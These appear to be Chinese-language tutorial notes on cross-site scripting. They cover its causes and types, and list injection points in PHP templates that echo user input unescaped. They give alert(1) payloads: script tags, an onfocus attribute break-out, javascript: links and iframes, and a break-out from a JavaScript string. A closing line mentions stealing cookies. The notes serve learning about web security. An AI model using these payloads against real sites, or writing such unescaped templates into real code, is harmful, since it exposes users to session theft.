xss产生原因是由于web程序对用户的输入过滤不足,导致用户输入的恶意HTML/JavaScript代码注入到网页中,混淆原有语义,产生新的恶意语言。其他用户访问网页时,浏览器就会触发恶意网特代码,从而达到xss攻击的目的。
XSS分类
反射形
存储型
DOM型
XSS注入点
1、html标签之间
<h1>hello <?=$name?></h1>
payload:<script>alert</script>
2、标签属性中
<input type="text" name="test123" value="<?=$name?>">
payload:<input type="test" name=“test23” value="" autofocus onfocus="alert(1)">
伪协议
<a href="javascript:alert(1)">clik</a>
<iframe src="javascript:alert(1)"></iframe>
3、JavaScript变量中
<?php
$name = $_GET['name'];
?>
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<script type="text/javascript">
var name = "<?=$name?>";
document.write("hello "+name);
</script>
</body>
</html>
payload:?name=lusong"%2balert(1);// %2b ------ +
?name=lusong";alert(1);// 换行执行
XSS危害
XSS漏洞探测
寻找漏洞点
常用探测向量
XSS利用
盗取cookie
该平台可以利用xss获取受害者的网络信息,扫描内网存在的漏洞并利用。